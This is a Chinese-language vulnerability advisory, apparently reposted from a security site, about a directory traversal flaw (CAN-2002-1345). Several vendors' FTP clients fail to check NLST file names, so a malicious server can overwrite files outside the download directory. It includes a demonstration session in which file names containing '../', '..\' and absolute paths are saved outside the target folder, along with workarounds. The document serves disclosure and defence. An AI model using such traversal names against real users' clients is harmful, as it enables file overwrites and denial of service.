涉及程序:
多家厂商FTP客户端文件
描述:
多家厂商FTP客户端程序目录遍历缺陷允许文件被非法覆盖
详细:
各种操作系统都含有各种的FTP客户端,
多家厂商FTP客户端程序目录遍历缺陷 (APP,缺陷)
。但是目前被发现多家厂商的FTP客户端在处理NLST FTP应答时,以不安全方式进行处理,远程攻击者可利用含有此缺陷的恶意FTP服务器,诱使用户访问,把恶意文件覆盖到FTP客户端当前目录之外的系统上。当FTP客户端处理来自FTP服务器的NLST应答时,RFC规定需要FTP客户端在包含目录信息时需要详细检查输入,而部分FTP客户端没有对此信息进行充分检查,因此,如果恶意FTP服务程序提供的文件包含目录信息如下字符:
"../","/path","..\"(Windows系统下),"C:"(Windows系统下),"..." (Windows系统下等于../..)
当客户端使用一些通配符进行下载时,没有检查这些文件路径信息,造成客户端的目录遍历,盲目下载到客户端指定目录以外位置上。如果熟知客户端系统中文件名和相应目录,可以直接覆盖这些文件,造成拒绝服务等攻击。
受影响系统:
Multiple Vendor ftp
- OpenBSD 3.0
- Sun Solaris 7.0 x86
- Sun Solaris 2.6
- Sun Solaris 2.6 x86
不受影响系统:
Multiple Vendor ftp
- Microsoft Windows XP Professional SP1
Multiple Vendor ftp
- Microsoft Windows XP Professional
Multiple Vendor ftp
- Microsoft Windows XP Home SP1
Multiple Vendor ftp
- Microsoft Windows XP Home
Multiple Vendor ftp
- Microsoft Windows NT 4.0 SP6a
Multiple Vendor ftp
- Microsoft Windows NT 4.0 SP6
Multiple Vendor ftp
- Microsoft Windows NT 4.0 SP5
Multiple Vendor ftp
- RedHat Linux 7.1
攻击方法:
CLIENT> CONNECT server
220 FTP4ALL FTP server ready. Local time is Tue Oct 01 2002 20:59.
Name (server:username): test
331 Password required for test.
Password:
230-Welcome test - I have not seen you since Tue Oct 01 2002 20:15 !
230 At the moment there are 0 guest and 1 registered users logged in.
CLIENT> pwd
257 "/" is current directory.
CLIENT> ls -l
200 PORT command successful.
150 Opening ASCII mode data connection for /bin/ls.
total 1
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ...\FAKEME5.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../../FAKEME2.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../FAKEME1.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\..\FAKEME4.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\FAKEME3.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 /tmp/ftptest/FAKEME6.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 C:\temp\FAKEME7.txt
-rw-r----- 0 nobody nogroup 54 Oct 01 20:10 FAKEFILE.txt
-rw-r----- 0 nobody nogroup 0 Oct 01 20:11 misc.txt
226 Directory listing completed.
CLIENT> GET *.txt
Opening ASCII data connection for FAKEFILE.txt...
Saving as "FAKEFILE.txt"
Opening ASCII data connection for ../../FAKEME2.txt...
Saving as "../../FAKEME2.txt"
Opening ASCII data connection for /tmp/ftptest/FAKEME6.txt...
Saving as "/tmp/ftptest/FAKEME6.txt"
[etc.]
解决方案:
目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点:
OpenBSDhttp://www.openbsd.org/security.html
Sun http://sunsolve.sun.com/security
临时解决方案:
* 配置FTP客户端当下载文件已经存在时进行提示,不过这项设置在大多数FTP客户端都默认设置,
电脑资料
《多家厂商FTP客户端程序目录遍历缺陷 (APP,缺陷)》(https://www.unjs.com)。* 如果可能,使用'runique'选项,使下载覆盖文件时使用不同文件名方式代替。
附加信息:
CAN-2002-1345